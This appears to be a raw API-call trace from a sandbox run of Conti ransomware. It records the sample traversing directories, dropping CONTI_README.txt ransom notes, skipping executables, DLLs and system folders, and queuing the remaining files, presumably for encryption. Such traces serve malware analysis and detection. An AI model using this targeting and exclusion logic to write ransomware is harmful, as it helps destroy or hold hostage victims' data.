	[0093.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053") returned 26
	[0093.838] GetProcessHeap () returned 0x1720000
	[0093.838] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734a68
	[0093.838] lstrcpyW (in: lpString1=0x1734a68, lpString2="C:\\588bce7c90097ed212\\1053" | out: lpString1="C:\\588bce7c90097ed212\\1053") returned="C:\\588bce7c90097ed212\\1053"
	[0093.838] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1053", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1053\\*") returned="C:\\588bce7c90097ed212\\1053\\*"
	[0093.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053") returned 26
	[0093.838] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.838] GetProcessHeap () returned 0x1720000
	[0093.838] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c0550
	[0093.838] lstrcpyW (in: lpString1=0x17c0550, lpString2="C:\\588bce7c90097ed212\\1053" | out: lpString1="C:\\588bce7c90097ed212\\1053") returned="C:\\588bce7c90097ed212\\1053"
	[0093.838] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1053", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\"
	[0093.838] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1053\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1053\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1053\\CONTI_README.txt"
	[0093.838] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1053\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.840] GetProcessHeap () returned 0x1720000
	[0093.840] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0550 | out: hHeap=0x1720000) returned 1
	[0093.840] WriteFile (in: hFile=0x338, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.841] CloseHandle (hObject=0x338) returned 1
	[0093.841] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bc60e21, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e4b0
	[0093.842] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.842] FindNextFileW (in: hFindFile=0x175e4b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bc60e21, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.842] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.842] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.842] FindNextFileW (in: hFindFile=0x175e4b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bc60e21, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4bc60e21, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4bc60e21, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.842] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.842] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.842] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.842] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.842] FindNextFileW (in: hFindFile=0x175e4b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.842] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.842] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.842] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.842] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.842] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.842] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.842] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.842] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.842] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.842] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053") returned 26
	[0093.842] lstrlenW (lpString="eula.rtf") returned 8
	[0093.842] GetProcessHeap () returned 0x1720000
	[0093.842] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d1e8
	[0093.842] lstrcpyW (in: lpString1=0x173d1e8, lpString2="C:\\588bce7c90097ed212\\1053" | out: lpString1="C:\\588bce7c90097ed212\\1053") returned="C:\\588bce7c90097ed212\\1053"
	[0093.842] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1053", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\"
	[0093.842] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1053\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned="C:\\588bce7c90097ed212\\1053\\eula.rtf"
	[0093.842] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d31d8) returned 1
	[0093.843] FindNextFileW (in: hFindFile=0x175e4b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.843] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.843] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.843] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.843] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.843] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.843] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.843] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.843] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.843] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.843] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053") returned 26
	[0093.843] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.843] GetProcessHeap () returned 0x1720000
	[0093.843] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0718
	[0093.843] lstrcpyW (in: lpString1=0x17c0718, lpString2="C:\\588bce7c90097ed212\\1053" | out: lpString1="C:\\588bce7c90097ed212\\1053") returned="C:\\588bce7c90097ed212\\1053"
	[0093.843] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1053", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\"
	[0093.843] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1053\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml"
	[0093.843] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3af8) returned 1
	[0093.843] FindNextFileW (in: hFindFile=0x175e4b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.843] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.843] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.843] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.843] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.843] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.843] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.843] FindNextFileW (in: hFindFile=0x175e4b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.843] GetProcessHeap () returned 0x1720000
	[0093.843] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734a68 | out: hHeap=0x1720000) returned 1
	[0093.843] FindClose (in: hFindFile=0x175e4b0 | out: hFindFile=0x175e4b0) returned 1
	[0093.843] GetProcessHeap () returned 0x1720000
	[0093.844] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e5f0 | out: hHeap=0x1720000) returned 1
	[0093.844] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1055", cAlternateFileName="")) returned 1
	[0093.844] lstrcmpiW (lpString1="1055", lpString2=".") returned 1
	[0093.844] lstrcmpiW (lpString1="1055", lpString2="..") returned 1
	[0093.844] lstrcmpiW (lpString1="1055", lpString2="tmp") returned -1
	[0093.844] lstrcmpiW (lpString1="1055", lpString2="winnt") returned -1
	[0093.844] lstrcmpiW (lpString1="1055", lpString2="Application Data") returned -1
	[0093.844] lstrcmpiW (lpString1="1055", lpString2="AppData") returned -1
	[0093.844] lstrcmpiW (lpString1="1055", lpString2="temp") returned -1
	[0093.844] lstrcmpiW (lpString1="1055", lpString2="thumb") returned -1
	[0093.844] lstrcmpiW (lpString1="1055", lpString2="$Recycle.Bin") returned 1
	[0093.844] lstrcmpiW (lpString1="1055", lpString2="$RECYCLE.BIN") returned 1
	[0093.844] lstrcmpiW (lpString1="1055", lpString2="System Volume Information") returned -1
	[0093.844] lstrcmpiW (lpString1="1055", lpString2="Program Files") returned -1
	[0093.844] lstrcmpiW (lpString1="1055", lpString2="Program Files (x86)") returned -1
	[0093.844] lstrcmpiW (lpString1="1055", lpString2="Boot") returned -1
	[0093.844] lstrcmpiW (lpString1="1055", lpString2="Windows") returned -1
	[0093.844] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.844] lstrlenW (lpString="1055") returned 4
	[0093.844] GetProcessHeap () returned 0x1720000
	[0093.844] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e4b0
	[0093.844] lstrcpyW (in: lpString1=0x175e4b0, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.844] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.844] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1055" | out: lpString1="C:\\588bce7c90097ed212\\1055") returned="C:\\588bce7c90097ed212\\1055"
	[0093.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055") returned 26
	[0093.844] GetProcessHeap () returned 0x1720000
	[0093.844] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734900
	[0093.844] lstrcpyW (in: lpString1=0x1734900, lpString2="C:\\588bce7c90097ed212\\1055" | out: lpString1="C:\\588bce7c90097ed212\\1055") returned="C:\\588bce7c90097ed212\\1055"
	[0093.844] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1055", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1055\\*") returned="C:\\588bce7c90097ed212\\1055\\*"
	[0093.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055") returned 26
	[0093.844] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.844] GetProcessHeap () returned 0x1720000
	[0093.844] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c0550
	[0093.844] lstrcpyW (in: lpString1=0x17c0550, lpString2="C:\\588bce7c90097ed212\\1055" | out: lpString1="C:\\588bce7c90097ed212\\1055") returned="C:\\588bce7c90097ed212\\1055"
	[0093.844] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1055", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\"
	[0093.844] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1055\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1055\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1055\\CONTI_README.txt"
	[0093.845] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1055\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0093.849] GetProcessHeap () returned 0x1720000
	[0093.849] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0550 | out: hHeap=0x1720000) returned 1
	[0093.849] WriteFile (in: hFile=0x348, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.849] CloseHandle (hObject=0x348) returned 1
	[0093.850] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bc86f3b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e5f0
	[0093.850] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.850] FindNextFileW (in: hFindFile=0x175e5f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bc86f3b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.850] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.850] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.850] FindNextFileW (in: hFindFile=0x175e5f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bc60e21, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4bc60e21, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4bc86f3b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.850] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.850] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.850] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.850] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.850] FindNextFileW (in: hFindFile=0x175e5f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.850] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.850] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.850] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.850] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.850] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.850] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.850] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.850] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.850] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.850] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055") returned 26
	[0093.850] lstrlenW (lpString="eula.rtf") returned 8
	[0093.850] GetProcessHeap () returned 0x1720000
	[0093.850] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d238
	[0093.850] lstrcpyW (in: lpString1=0x173d238, lpString2="C:\\588bce7c90097ed212\\1055" | out: lpString1="C:\\588bce7c90097ed212\\1055") returned="C:\\588bce7c90097ed212\\1055"
	[0093.850] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1055", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\"
	[0093.850] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1055\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned="C:\\588bce7c90097ed212\\1055\\eula.rtf"
	[0093.850] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d41d0) returned 1
	[0093.851] FindNextFileW (in: hFindFile=0x175e5f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.851] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.851] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.851] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.851] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.851] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.851] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.851] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.851] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.851] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.851] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055") returned 26
	[0093.851] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.851] GetProcessHeap () returned 0x1720000
	[0093.851] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0c60
	[0093.851] lstrcpyW (in: lpString1=0x17c0c60, lpString2="C:\\588bce7c90097ed212\\1055" | out: lpString1="C:\\588bce7c90097ed212\\1055") returned="C:\\588bce7c90097ed212\\1055"
	[0093.851] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1055", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\"
	[0093.851] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1055\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml"
	[0093.851] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5f78) returned 1
	[0093.851] FindNextFileW (in: hFindFile=0x175e5f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.851] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.851] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.851] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.851] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.851] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.851] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.851] FindNextFileW (in: hFindFile=0x175e5f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.851] GetProcessHeap () returned 0x1720000
	[0093.851] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734900 | out: hHeap=0x1720000) returned 1
	[0093.851] FindClose (in: hFindFile=0x175e5f0 | out: hFindFile=0x175e5f0) returned 1
	[0093.851] GetProcessHeap () returned 0x1720000
	[0093.852] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e4b0 | out: hHeap=0x1720000) returned 1
	[0093.852] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="2052", cAlternateFileName="")) returned 1
	[0093.852] lstrcmpiW (lpString1="2052", lpString2=".") returned 1
	[0093.852] lstrcmpiW (lpString1="2052", lpString2="..") returned 1
	[0093.852] lstrcmpiW (lpString1="2052", lpString2="tmp") returned -1
	[0093.852] lstrcmpiW (lpString1="2052", lpString2="winnt") returned -1
	[0093.852] lstrcmpiW (lpString1="2052", lpString2="Application Data") returned -1
	[0093.852] lstrcmpiW (lpString1="2052", lpString2="AppData") returned -1
	[0093.852] lstrcmpiW (lpString1="2052", lpString2="temp") returned -1
	[0093.852] lstrcmpiW (lpString1="2052", lpString2="thumb") returned -1
	[0093.852] lstrcmpiW (lpString1="2052", lpString2="$Recycle.Bin") returned 1
	[0093.852] lstrcmpiW (lpString1="2052", lpString2="$RECYCLE.BIN") returned 1
